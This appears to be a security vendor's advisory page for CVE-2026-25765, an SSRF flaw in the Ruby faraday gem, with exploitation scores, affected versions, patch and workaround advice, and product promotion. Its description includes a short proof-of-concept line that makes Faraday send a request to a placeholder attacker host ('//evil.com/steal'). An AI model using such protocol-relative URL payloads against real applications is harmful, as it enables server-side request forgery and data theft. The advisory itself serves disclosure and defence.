CVE-2026-25765 is a medium-severity (CVSS 5.8) Server-Side Request Forgery (SSRF) vulnerability in faraday. A fix is available for faraday — see the affected versions and patch details below.
Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-25765.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-25765 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
faraday💎faradayReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.
Description
Impact
Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's
URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986,
protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references
that override the base URL's host/authority component.
This means that if any application passes user-controlled input to Faraday's get(),
post(), build_url(), or other request methods, an attacker can supply a
protocol-relative URL like //attacker.com/endpoint to redirect the request to an
arbitrary host, enabling Server-Side Request Forgery (SSRF).
The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with
/, so protocol-relative URLs bypass it entirely.
Example:
conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
# Request is sent to https://evil.com/steal instead of api.internal.com
Patches
Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.
Workarounds
NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.
Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically:
- Reject or strip input that starts with // followed by a non-/ character
- Use an allowlist of permitted path prefixes
- Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday
Example validation:
def safe_path(user_input)
raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
user_input
end
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 💎RubyGems | faraday | ≥ 2.0.0&&< 2.14.1 | 2.14.1bundle update faraday --conservative |
| 💎RubyGems | faraday | ≥ 1.0.0&&< 1.10.5 | 1.10.5bundle update faraday --conservative |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for faraday, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update faraday to 2.14.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-25765 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-25765 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-25765. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-25765 in your dependencies?
O3 Security finds CVE-2026-25765 across RubyGems dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.